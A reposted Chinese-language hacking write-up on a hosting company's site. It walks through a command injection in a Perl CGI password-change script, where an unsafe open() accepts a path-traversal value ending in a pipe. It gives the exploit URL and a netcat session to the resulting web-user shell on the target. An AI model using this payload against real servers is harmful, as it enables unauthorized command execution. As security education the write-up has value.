灵巧的脚本攻击
来源:互联网
作者:west263.com
时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
sub readkey {
my($file)=@_;
unless(open(FH,"$file")) {
errmsg("对不起!您超时了,请<a href=/"$login_page/" target=/"_parent/">重新登陆</a>");
exit;
}
unless(flock(FH,LOCK_SH)) {
errmsg("Can't Lock File: $file");
}
my $data = <FH>;
close(FH);
return $data;
}
这就是那个自定义的readfile函数,证实了我们的猜想,而且也找到了一个符合需要的open函数,接着搜寻哪个文档调用了这个函数,很快我们在change_pw.pl这个程式里找到了这个函数调用,这个程式用来修改用户的密码,不幸的是代码在判断用户旧密码是否正确前就调用了 readkey() 函数:
my $key_info=readkey("$key_dir/$key");
于是提交
http://www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls
>bbb
|再查看一下
http://www.target.org/cgi-bin/club/scripts/bbb
Yeah!成功执行了...出现了我们期望的结果,这真是太妙了,能够利用这个来执行命令,就相当于得到了一个shell。但这样办事毕竟不方便,不能及时地查看我们的运行结果。因此我们又上传了一个文档、编译、执行,然后
D:/temp>nc -vv www.target.org 12345
www.target.org [211.161.57.29] 12345 (?) open
id
uid=80(www) gid=80(www) groups=80(www)
uname -a
FreeBSD ns8.target.com 4.8-RELEASE FreeBSD 4.8-RELEASE #1: Wed Apr 2 07:01:40 CST 2003
root@ns8.target.com:/usr/obj/usr/src/sys/target i386
哦,是FreeBSD 4.8-RELEASE,版本很高,提升权限比较困难,我们找了好久都没有找到有效的local exploit,提升权限失败,只好作罢。
到这里,我们的hacking基本上结束了。虽然没拿到root,但至少拿到了网站WEB权限,对于我们CGI安全爱好者来说,应该算是完成了本职工作吧-)。之后我们迅速和站主联系,提醒他网站存在安全隐患,但站主并没有向我们询问细节,他自己通过分析日志修复了漏洞。
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!



